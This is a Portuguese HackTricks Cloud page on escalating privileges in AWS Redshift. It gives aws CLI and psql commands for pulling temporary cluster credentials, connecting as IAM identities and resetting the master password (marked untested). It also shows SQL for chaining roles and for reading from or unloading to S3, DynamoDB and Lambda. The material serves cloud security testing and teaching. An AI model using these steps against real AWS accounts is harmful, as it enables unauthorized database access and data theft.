AWS - Redshift Privesc
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao đŹ grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter đŠ @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositĂłrios do github.
Redshift
Para mais informaçÔes sobre RDS, confira:
redshift:DescribeClusters, redshift:GetClusterCredentials
Com essas permissĂ”es vocĂȘ pode obter informaçÔes de todos os clusters (incluindo o nome e o nome de usuĂĄrio do cluster) e obter credenciais para acessĂĄ-lo:
# Get creds
aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:<username>" -d template1 -p 5439
Impacto Potencial: Encontrar informaçÔes sensĂveis dentro dos bancos de dados.
redshift:DescribeClusters, redshift:GetClusterCredentialsWithIAM
Com essas permissĂ”es vocĂȘ pode obter informaçÔes de todos os clusters e obter credenciais para acessĂĄ-los.
Observe que o usuårio postgres terå as permissÔes que a identidade IAM usada para obter as credenciais possui.
# Get creds
aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1
# Connect, even if the password is a base64 string, that is the password
psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439
Impacto Potencial: Encontrar informaçÔes sensĂveis dentro dos bancos de dados.
redshift:DescribeClusters, redshift:ModifyCluster?
Ă possĂvel modificar a senha mestre do usuĂĄrio interno postgres (redshit) a partir do aws cli (acho que essas sĂŁo as permissĂ”es necessĂĄrias, mas ainda nĂŁo as testei):
aws redshift modify-cluster âcluster-identifier <identifier-for-the cluster> âmaster-user-password âmaster-passwordâ;
Potential Impact: Encontrar informaçÔes sensĂveis dentro dos bancos de dados.
Accessing External Services
Warning
Para acessar todos os recursos a seguir, vocĂȘ precisarĂĄ especificar a role a ser usada. Um cluster Redshift pode ter atribuĂda uma lista de AWS roles que vocĂȘ pode usar se souber o ARN ou pode simplesmente definir âdefaultâ para usar a role padrĂŁo atribuĂda.
AlĂ©m disso, como explained here, Redshift tambĂ©m permite concatenar roles (desde que a primeira possa assumir a segunda) para obter mais acesso, apenas separandoâas com uma vĂrgula:
iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';
Lambdas
Como explicado em https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html, Ă© possĂvel chamar uma função lambda a partir do Redshift com algo como:
CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT)
RETURNS INT
STABLE
LAMBDA 'lambda_function'
IAM_ROLE default;
S3
Como explicado em https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html, Ă© possĂvel ler e escrever em S3 buckets:
# Read
copy table from 's3://<your-bucket-name>/load/key_prefix'
credentials 'aws_iam_role=arn:aws:iam::<aws-account-id>:role/<role-name>'
region '<region>'
options;
# Write
unload ('select * from venue')
to 's3://mybucket/tickit/unload/venue_'
iam_role default;
Dynamo
Conforme explicado em https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html, Ă© possĂvel obter dados do dynamodb:
copy favoritemovies
from 'dynamodb://ProductCatalog'
iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole';
Warning
A tabela Amazon DynamoDB que fornece os dados deve ser criada na mesma AWS Region do seu cluster, a menos que vocĂȘ use a opção REGION para especificar a AWS Region na qual a tabela Amazon DynamoDB estĂĄ localizada.
EMR
Consulte https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html
ReferĂȘncias
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao đŹ grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter đŠ @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositĂłrios do github.
HackTricks Cloud

